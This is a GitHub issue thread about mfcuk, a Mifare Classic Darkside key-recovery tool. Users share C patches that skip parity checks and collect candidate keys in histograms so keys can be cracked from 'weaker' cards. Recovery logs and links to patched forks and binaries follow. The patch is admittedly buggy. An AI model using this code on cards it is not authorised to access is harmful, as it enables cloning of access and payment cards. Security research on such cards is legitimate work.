mfcuk icon indicating copy to clipboard operation
mfcuk copied to clipboard

Can't recover keys from 'weaker' cards

Open Stewart8 opened this issue 8 years ago • 18 comments

Like many others, I was unable to recover any keys, even from 'blank' cards with 0xffffffffffff default keys, getting an indefinite number of 0x03 errors.

Attempting to debug, I discovered that my cards were responding with NACK to all failed authentication attempts, regardless of parity bits, as described in section 4.3 of http://eprint.iacr.org/2009/137.pdf .

It appears that mfcuk 0.3.8 has no logic to detect or handle this behavior, and gets confused by assuming that all 'hits' have good plaintext parity, even though (with this card type) most do not.

I don't know enough about cryptography to implement (or even understand) the elegant solution proposed in section 6.1 of the same paper.

However, I was able to recover keys by commenting out the parity checking logic in check_pfx_parity , putting candidate keys in a histogram table, and waiting until the same value was seen 4 times (with different nonces).

Sorry, I was just patching and don't have any production code for this method (and I know it's not the best method anyway).

The end result was that I got the desired data; many thanks for the program.

Stewart8 avatar Jun 22 '16 22:06 Stewart8

Hi! You may write where your comment code? I'll have this error too

Find functintion and comment //good &= parity, what more needs to be done? Please help me.


static struct Crypto1State *
check_pfx_parity(uint32_t prefix, uint32_t rresp, uint8_t parities[8][8],
                 uint32_t odd, uint32_t even, struct Crypto1State *sl) {
  uint32_t ks1, nr, ks2, rr, ks3, c, good = 1;

  for (c = 0; good && c < 8; ++c) {
    sl->odd = odd ^ fastfwd[1][c];
    sl->even = even ^ fastfwd[0][c];

    lfsr_rollback_bit(sl, 0, 0);
    lfsr_rollback_bit(sl, 0, 0);

    ks3 = lfsr_rollback_bit(sl, 0, 0);
    ks2 = lfsr_rollback_word(sl, 0, 0);
    ks1 = lfsr_rollback_word(sl, prefix | c << 5, 1);

    nr = ks1 ^(prefix | c << 5);
    rr = ks2 ^ rresp;

//    good &= parity(nr & 0x000000ff) ^ parities[c][3] ^ BIT(ks2, 24);
//    good &= parity(rr & 0xff000000) ^ parities[c][4] ^ BIT(ks2, 16);
    //good &= parity(rr & 0x00ff0000) ^ parities[c][5] ^ BIT(ks2,  8);
    //good &= parity(rr & 0x0000ff00) ^ parities[c][6] ^ BIT(ks2,  0);
    //good &= parity(rr & 0x000000ff) ^ parities[c][7] ^ ks3;
  }

  return sl + good;
}

unixpapers avatar Jun 24 '16 11:06 unixpapers

I made a lot of changes while troubleshooting and I'm not sure that the code below is correct; let me know whether it works for you.

First, to determine that the 'weaker' card was the problem, I added a counter for 4-bit (NACK) hits:

In mfcuk.c, after uint32_t numAuthAttempts = 0; // Number of authentication attempts for Recovery of keys - used to statistics. TODO: implement proper statistics with timings, number of tries, etc. added uint32_t numHit4 = 0; // Number of 4-bit responses after if (res == 4) { added ++numHit4; and after printf("diff Nt: %d\n", numSpoofEntries); added printf(" hit4: %d\n", numHit4);

Now if you run with -v 3, a weak card will show a 'hit4' count for every auth attempt.

I'll post another comment with the actual recovery code.

Stewart8 avatar Jun 24 '16 21:06 Stewart8

To recover the key from the 'weak' card, I made a histogram of the high 24 bits of all 48-bit candidate keys and another histogram of the low 24 bits.

In mfcuk.c, after extern int mfcuk_finger_db_entries; added uint8_t hicnt[1 << 24], locnt[1 << 24]; after printf("\nRECOVER: "); added for (i = 0; i < (1 << 24); ++i) hicnt[i] = locnt[i] = 0;

and after states_list = lfsr_common_prefix(ptrFoundTagNonceEntry->spoofNrPfx, ptrFoundTagNonceEntry->spoofArEnc, ptrFoundTagNonceEntry->ks, ptrFoundTagNonceEntry->parBitsArr); added for (i = 0; (states_list) && ((states_list + i)->odd != 0 || (states_list + i)->even != 0) && (i < MAX_COMMON_PREFIX_STATES); i++) { current_state = states_list + i; lfsr_rollback_word(current_state, uiUID ^ ptrFoundTagNonceEntry->tagNonce, 0); crypto1_get_lfsr(current_state, &key_recovered); ++hicnt[(key_recovered >> 24) & 0xffffff]; ++locnt[key_recovered & 0xffffff]; } printf("%d candidates found, nonce %08x\n", i, ptrFoundTagNonceEntry->tagNonce); int maxhi = 0; int maxlo = 0; int maxhii = 0; int maxloi = 0; for (i = 0; i < (1 << 24); ++i) { if (hicnt[i] > maxhi){ maxhi = hicnt[i]; maxhii = i; } if (locnt[i] > maxlo){ maxlo = locnt[i]; maxloi = i; } } printf("maxhi=%d maxhii=%08x maxlo=%d maxloi=%08x\n", maxhi, maxhii, maxlo, maxloi); Also, comment out in the loop below flag_key_recovered = 1;

Now, try running, e.g. mfcuk -O -R 0:A

With luck, you'll start seeing e.g. maxhi=3 maxhii=000028cb maxlo=4 maxloi=00f46ffa Wait until maxhi and maxlo get up to at least 5. Then, try the key in mfoc or whatever. In this example it would be 0028cbf46ffa

Unfortunately, I've a bug where when there >1M candidates, it gets a segmentation fault. I was lazy and didn't fix it. If it happens again, just repeat the command and hope that you get maxhi and maxlo up to 5 or 6 before the fault hits.

Stewart8 avatar Jun 24 '16 23:06 Stewart8

Somehow, the forum isn't rendering the large code block properly. Here are the added lines, without a code block:

    for (i = 0; (states_list) && ((states_list + i)->odd != 0 || (states_list + i)->even != 0) && (i < MAX_COMMON_PREFIX_STATES); i++) {
      current_state = states_list + i;
      lfsr_rollback_word(current_state, uiUID ^ ptrFoundTagNonceEntry->tagNonce, 0);
      crypto1_get_lfsr(current_state, &key_recovered);
      ++hicnt[(key_recovered >> 24) & 0xffffff];
      ++locnt[key_recovered & 0xffffff];
    }
    printf("%d candidates found, nonce %08x\n", i, ptrFoundTagNonceEntry->tagNonce);
    int maxhi = 0;
    int maxlo = 0;
    int maxhii = 0;
    int maxloi = 0;
    for (i = 0; i < (1 << 24); ++i) {
      if (hicnt[i] > maxhi){
        maxhi = hicnt[i];
        maxhii = i;
      }
      if (locnt[i] > maxlo){
        maxlo = locnt[i];
        maxloi = i;
      }
    }
    printf("maxhi=%d maxhii=%08x maxlo=%d maxloi=%08x\n", maxhi, maxhii, maxlo, maxloi);

Stewart8 avatar Jun 24 '16 23:06 Stewart8

Thanks for your help.

Your code WORK! I'am HAPPY!!!!

./mfcuk -C -R 0:A

mfcuk - 0.3.8 Mifare Classic DarkSide Key Recovery Tool - 0.3 by Andrei Costin, [email protected], http://andreicostin.com

INFO: Connected to NFC reader: pn532_uart:/dev/ttyUSB0 VERIFY: Key A sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f Key B sectors: 0 1 2 3 4 5 6 7 8 9 a b c d e f

RECOVER: 0 ..... 254592 candidates found, nonce 78882a2f maxhi=3 maxhii=0030b0c5 maxlo=3 maxloi=00080e51 mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 44928 candidates found, nonce 5578882a maxhi=3 maxhii=000bee31 maxlo=3 maxloi=00080e51 mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 354816 candidates found, nonce 5578882a maxhi=4 maxhii=00895568 maxlo=3 maxloi=0000a513 mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 153600 candidates found, nonce 688df49b maxhi=4 maxhii=0030028f maxlo=4 maxloi=0016ef51 mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 49152 candidates found, nonce a2701b19 maxhi=4 maxhii=0030028f maxlo=4 maxloi=0016ef51 mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 59136 candidates found, nonce 02aa92c0 maxhi=5 maxhii=00ffffff maxlo=5 maxloi=00ffffff mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 206080 candidates found, nonce 32a03931 maxhi=6 maxhii=00ffffff maxlo=6 maxloi=00ffffff mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 40256 candidates found, nonce 78882a2f maxhi=7 maxhii=00ffffff maxlo=7 maxloi=00ffffff mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 349440 candidates found, nonce a2701b19 maxhi=8 maxhii=00ffffff maxlo=8 maxloi=00ffffff mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 1344 candidates found, nonce 688df49b maxhi=9 maxhii=00ffffff maxlo=9 maxloi=00ffffff mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 582400 candidates found, nonce 74d4445d maxhi=10 maxhii=00ffffff maxlo=10 maxloi=00ffffff mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 126208 candidates found, nonce 8df49ba8 maxhi=11 maxhii=00ffffff maxlo=11 maxloi=00ffffff mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) 789632 candidates found, nonce 5578882a maxhi=12 maxhii=00ffffff maxlo=12 maxloi=00ffffff mfcuk: ERROR: mfcuk_key_recovery_block() (error code=0x03) .....

The corrected version of the files crapto1.c and mfcuk.c upload to git: https://github.com/unixpapers/mfcuk

unixpapers avatar Jun 25 '16 03:06 unixpapers

we need to put a new level of verbose logs showing the output of your code. Great code and thank you!

franquitt avatar Jul 17 '16 21:07 franquitt

@Stewart8 thank you for your patch, it works on my weak mfc! I made a patched fork that can handle up to 33M candidates without segfaulting (never crashed during my tests) and with configurable tolerance (maxhi/maxlo) through args, but It should be tested before a public pull. If someone has a few tags to try it would be nice, so let me know!

DrSchottky avatar Jul 18 '16 18:07 DrSchottky

@DrSchottky I'd like to help test that

chrivers avatar Aug 12 '16 15:08 chrivers

@Stewart8 I replied by mail.

DrSchottky avatar Aug 16 '16 16:08 DrSchottky

@DrSchottky do you still have that patched fork? I'm running into the same problem and would like to test your fork with my cards.

If not, does anyone else have a repo up which can be used? I'm having trouble compiling this one under Kali.

Man-of-Wood avatar Aug 29 '16 13:08 Man-of-Wood

@Man-of-Wood I got the same trouble on Kali. I just cant compile it. Im using Raspberry pi and pn532 to crack a fully encrypted card. But I can compile it successfully on Raspbian.

yelexin avatar Apr 29 '17 08:04 yelexin

good job!!! thx!!!

whirlwind110 avatar Nov 01 '17 16:11 whirlwind110

@Stewart8 thx 比心!

whirlwind110 avatar Nov 01 '17 16:11 whirlwind110

i need help to compile and install it on kali linux (live usb). i dont have any idea, i am a beginer

isaac5395 avatar Nov 29 '17 14:11 isaac5395

anyone have the binary of this patched version. I just cant get it to compile under linux or windows, keep getting errors and sick of trying. If someone could just upload the binary it would be so helpful. Thanks

droidnewbie2 avatar May 10 '18 18:05 droidnewbie2

@droidnewbie2 windows version: mfcuk_keyrecovery_darkside.zip

xavave avatar Feb 02 '20 22:02 xavave

Hi, if i want to script my mfcuk installation, can i use some fork that is up to date with this patch ? Or you i have to manually create the file and replace it. Thanks for your help Edit : found the answer here the updated fork is there https://github.com/DrSchottky/mfcuk I already found my key !

hobeur avatar Jul 31 '20 10:07 hobeur

@droidnewbie2 windows version: mfcuk_keyrecovery_darkside.zip

when I use your windows version, it cannot work with PN532. It cannot found the device. I found your repo MifareOneTool-English](https://github.com/xcicode/MifareOneTool), but it also cannot found the device. xcicode/MifareOneTool works very well but it report the error :ERROR: mfcuk_key_recovery_block() (error code=0x03)

liwenjie119 avatar Mar 03 '23 15:03 liwenjie119